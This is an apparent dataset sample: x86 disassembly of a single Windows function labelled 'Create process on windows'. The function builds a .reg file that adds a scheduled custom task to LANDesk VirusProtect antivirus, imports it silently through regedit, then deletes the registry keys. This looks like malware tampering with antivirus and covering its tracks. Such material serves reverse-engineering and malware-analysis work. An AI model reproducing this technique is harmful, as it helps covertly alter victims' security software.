Function at 0x4047f0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0xc14
mov ecx, 0x10
xor eax, eax
push ebx
push esi
push edi
mov esi, str.SoftwareIntelLANDeskVirusProtect6CurrentVersionCustom_Tasks
lea edi, [esp + 0x820]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x6f
lea edi, [esp + 0x861]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
lea ecx, [esp + 0x820]
push eax
push ecx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x404a7c
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x20]
push 0x208
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov cl, byte [esp + eax + 0x20]
dec eax
cmp cl, 0x5c
jne 0x40485d
mov byte [esp + eax + 0x21], 0
mov edi, str.TempNor.reg
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x20]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x21
mov esi, str.HKEY_CURRENT_USERSoftwareIntelLANDeskVirusProtect6CurrentVersionCustom_Tasks000161d8_3531_4ff6_90a1_aeac412d5520Directories
lea edi, [esp + 0x620]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x5f
lea edi, [esp + 0x6a4]
rep stosd dword es:[edi], eax
mov ecx, 0x20
mov esi, str.HKEY_CURRENT_USERSoftwareIntelLANDeskVirusProtect6CurrentVersionCustom_Tasks000161d8_3531_4ff6_90a1_aeac412d5520Schedule
lea edi, [esp + 0xa20]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x5f
lea edi, [esp + 0xaa1]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x20]
lea ecx, [esp + 0x620]
push eax
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov eax, dword [0x4102d4]
xor ebx, ebx
test eax, eax
jle 0x4049a2
push ebp
mov ebp, 0x40c2d4
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
test ecx, ecx
jle 0x404948
mov al, byte [esi + ebp]
cmp al, 0x5c
mov byte [esp + edx + 0x224], al
jne 0x404936
inc edx
mov byte [esp + edx + 0x224], al
inc edx
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jl 0x404920
mov byte [esp + edx + 0x224], 0
lea edx, [esp + 0x224]
push edx
lea eax, [esp + 0x428]
push str.__s_
push eax
call fcn.00405520
add esp, 0xc
lea ecx, [esp + 0x24]
lea edx, [esp + 0x424]
lea eax, [esp + 0x624]
push ecx
push str.dword:00000001
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov eax, dword [0x4102d4]
inc ebx
add ebp, 0x200
cmp ebx, eax
jl 0x40490c
pop ebp
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [esp + 0x18]
and eax, 0xffff
lea eax, [eax + eax*2]
lea edx, [eax + eax*4]
mov eax, dword [esp + 0x1a]
and eax, 0xffff
lea ecx, [eax + edx*4 + 2]
lea edx, [esp + 0x420]
push ecx
push str.dword:_x
push edx
call fcn.00405520
add esp, 0xc
lea eax, [esp + 0x20]
lea ecx, [esp + 0x420]
lea edx, [esp + 0xa20]
push eax
push ecx
push str._MinOfDay_
push edx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
lea eax, [esp + 0x20]
lea ecx, [esp + 0x220]
push eax
push str.regedit__s___s_
push ecx
call fcn.00405520
add esp, 0xc
lea edx, [esp + 0x220]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x3a980
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.shlwapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x404a7c
push str.SHDeleteKeyA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.SoftwareIntelLANDeskVirusProtect6CurrentVersionCustom_Tasks000161d8_3531_4ff6_90a1_aeac412d5520
mov edi, eax
push 0x80000001
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
push str.SoftwareIntelLANDeskVirusProtect6CurrentVersionCustom_TasksTaskPadScheduled_
push 0x80000001
call edi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebx
add esp, 0xc14
ret